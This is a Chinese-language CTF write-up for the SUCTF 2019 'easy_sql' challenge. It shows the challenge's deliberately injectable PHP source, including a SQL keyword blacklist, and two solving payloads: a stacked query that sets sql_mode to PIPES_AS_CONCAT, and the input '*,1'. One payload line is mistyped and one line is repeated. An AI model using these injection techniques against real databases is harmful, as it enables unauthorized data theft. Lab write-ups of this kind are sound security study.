打開環境,發現依舊是sql注入
GitHub上有源碼(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql)
index.php源碼
<?php session_start(); include_once "config.php"; $post = array(); $get = array(); global $MysqlLink; //GetPara(); $MysqlLink = mysqli_connect("localhost",$datauser,$datapass); if(!$MysqlLink){ die("Mysql Connect Error!"); } $selectDB = mysqli_select_db($MysqlLink,$dataName); if(!$selectDB){ die("Choose Database Error!"); } foreach ($_POST as $k=>$v){ if(!empty($v)&&is_string($v)){ $post[$k] = trim(addslashes($v)); } } foreach ($_GET as $k=>$v){ if(!empty($v)&&is_string($v)){ $get[$k] = trim(addslashes($v)); } } //die(); ?> <html> <head> </head> <body> <a> Give me your flag, I will tell you if the flag is right. </a> <form action="" method="post"> <input type="text" name="query"> <input type="submit"> </form> </body> </html> <?php if(isset($post['query'])){ $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\""; //var_dump(preg_match("/{$BlackList}/is",$post['query'])); if(preg_match("/{$BlackList}/is",$post['query'])){ //echo $post['query']; die("Nonono."); } if(strlen($post['query'])>40){ die("Too long."); } $sql = "select ".$post['query']."||flag from Flag";
//sql執行語句 mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>
SQL執行的語句:$sql="select ".$post['query']."||flag from Flag";
第一種:堆疊注入,使得sql_mode的值為PIPES_AS_CONCAT。
payload:setsql_mode=PIPES_AS_CONCAT;
所以整個語句為:1;set sql_mode=PIPES_AS_CONCAT;select 1
所以整個語句為:1;set sql_mode=PIPES_AS_CONCAT;select 1

第二種:
根據SQL執行語句:$sql="select ".$post['query']."||flag from Flag";
構造出:$sql="select *,1 ||flag from Flag";
所以直接輸入“*,1”就可直接出flag